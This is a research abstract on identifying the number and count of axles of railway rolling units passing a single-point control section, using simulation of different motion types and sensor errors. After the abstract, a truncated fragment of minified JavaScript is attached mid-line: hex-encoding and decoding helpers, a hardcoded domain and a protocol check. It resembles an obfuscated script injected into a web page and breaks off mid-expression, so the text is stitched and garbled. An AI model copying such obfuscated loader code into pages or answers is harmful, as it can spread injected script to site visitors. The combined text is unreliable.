Purpose. Building of information and control systems, rolling unit traffic control systems, both within the station and on the adjacent tracks, is closely linked to the identification systems. This paper presents the identification method allowing to determine the quantity and number of axles of rolling units that have passed the control section. The purpose of this work is to improve procedures for determining the quantity and number of axles of rolling units with minimal equipment or no additional cost, using the existing equipment installed on the tracks for other tasks. It should be possible to improve the reliability of other identification systems. Methodology. To achieve this purpose at first the analysis of rolling unit axle spacing for 1520 mm gauge (of carriages and locomotives) was conducted. There were developed the mathematical and simulation models of rolling unit movement process through the control section, with a single control point located on it. The simulation results were processed by means of the theory of probability and mathematical statistics. Results. On the basis of the mathematical model there was developed the simulation model that allows to carry out experiments for different kinds (uniformly accelerated, uniform, uniformly decelerated) of motion of rolling unit and sensor errors. Based on simulation results there were derived the values of waiting time coefficients for each type of motion, as well as the universal coefficient for all types of motion. The critical sensor error values were analysed depending on the parameters of identified rolling units. This method is critical to the change in acceleration, stop and reverse movements of rolling units. Originality. This paper presents the improved rolling stock identification method that allows to determine the quantity and number of axles of locomotive and (or) carriages, which passed the single-point control section. The procedure for determining the quantity and number of axles of rolling units was improved by adjusting the waiting time coefficients for wheelset fixing. This takes into account the sensor error and the value of the identifiable rolling unit acceleration. Practical value. Application of this method allows to increase the reliability and informative value of already developed identification methods provided their joint use. This method can be also applied as an independent method for rolling unit identification using the minimum equipment.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "tstt.diit.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e